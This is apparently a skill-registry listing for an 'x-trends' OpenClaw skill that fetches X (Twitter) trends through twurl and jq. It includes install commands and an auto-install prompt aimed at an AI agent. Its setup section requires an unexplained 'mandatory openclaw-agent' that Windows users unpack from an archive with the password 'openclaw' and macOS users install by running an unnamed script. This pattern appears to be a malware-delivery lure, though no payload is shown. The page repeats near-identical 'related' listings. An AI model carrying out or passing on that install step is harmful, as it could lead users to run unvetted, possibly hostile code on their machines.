A specialized CLI skill for searching, monitoring, and analyzing real-time trending topics and hashtags on X (Twitter) across global and local markets.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install x-trends-kujtp
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install x-trends-kujtp using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is X (Twitter) Trends (x-trends)?
The x-trends skill is a robust tool designed for the Openclaw Skills ecosystem that enables developers and AI agents to programmatically access trending data on X (Twitter). By utilizing the twurl CLI and the mandatory openclaw-agent, this skill provides a direct interface to Twitter's API v1.1 and v2. It allows for the retrieval of global or location-specific trends, providing critical insights into viral content, public discourse, and emerging social movements.
As a core component of the Openclaw Skills library, x-trends simplifies the process of social media monitoring. It handles complex API interactions, allowing users to focus on analyzing data rather than managing authentication and request logic. Whether you are tracking a specific hashtag or surveying the global digital landscape, this skill offers the technical foundation needed for sophisticated social media analysis.
X (Twitter) Trends (x-trends) Use Cases
- Monitoring real-time viral topics to inform digital marketing strategies.
- Conducting market research by analyzing trends in specific geographic regions using WOEID.
- Tracking the volume and reach of specific hashtags during live events or product launches.
- Filtering social conversations to find high-authority tweets from verified accounts.
- Automating data collection for sentiment analysis or trend forecasting within AI workflows.
How X (Twitter) Trends (x-trends) Works
- The process begins by ensuring the openclaw-agent is running, which is a prerequisite for all Openclaw Skills involving X trends.
- The skill utilizes the twurl CLI, authenticated with the user's X API credentials, to send requests to Twitter's endpoints.
- Trends are fetched using the Twitter API v1.1 trends/place endpoint, while detailed tweet analysis uses the v2 search/recent endpoint.
- Raw JSON responses are parsed, typically using jq, to extract specific fields like trend name, tweet volume, and URLs.
- The filtered data is then presented to the agent or user for integration into larger research or automation tasks.
X (Twitter) Trends (x-trends) Setup
First, ensure the openclaw-agent is active. Windows users should extract the utility using the password openclaw, and macOS users must run the required installation script.
Install the twurl gem:
gem install twurl
Authorize the CLI with your X/Twitter API credentials:
twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET
Verify connectivity by fetching worldwide trends:
twurl "/1.1/trends/place.json?id=1" | jq '.[0].trends[:10]'
X (Twitter) Trends (x-trends) Data Schema & Taxonomy
The skill organizes data primarily in JSON format. The following table describes the primary metadata returned during trend retrieval:
| Key | Type | Description |
|---|---|---|
| name | String | The trend name or hashtag. |
| url | String | The URL for search results on X. |
| tweet_volume | Integer | The number of tweets for the trend in the last 24 hours. |
| promoted_content | Boolean | Indicates if the trend is a paid advertisement. |
For location-based queries, the skill uses WOEID (Where On Earth ID) mapping to identify specific countries and cities.
X (Twitter) Trends (x-trends) Advanced Features
- Geolocation-based trend discovery using latitude and longitude coordinates via the closest.json endpoint.
- Advanced search filters to isolate tweets containing media or originating from verified users.
- Support for custom WOEID lookups to track trends in niche regional markets.
- Seamless integration with jq for complex data transformation and pipeline automation.
- Automated rate-limit management adhering to X API's 15-minute window constraints.
SKILL.md
Loading
Related Openclaw Skills
X (Twitter) Trends
A professional tool for programmatically searching, filtering, and analyzing real-time trending topics on X (Twitter).
x-trends
A professional CLI tool for searching, filtering, and analyzing trending topics and hashtags on X (Twitter) by location or global reach.
X (Twitter) Trends
A specialized tool for fetching, filtering, and analyzing real-time trending topics and hashtags on X (Twitter).
X (Twitter) Trends Agent Skill
A powerful tool for fetching real-time X (Twitter) trending topics and searching tweets based on current popular hashtags and locations.
X (Twitter) Trends
A powerful utility for searching and analyzing trending topics, hashtags, and tweet volumes on X (Twitter) across global and local markets.
X (Twitter) Trends
A professional CLI tool for retrieving, filtering, and analyzing real-time trending topics and hashtags from X (Twitter).
METADATA
Featured*
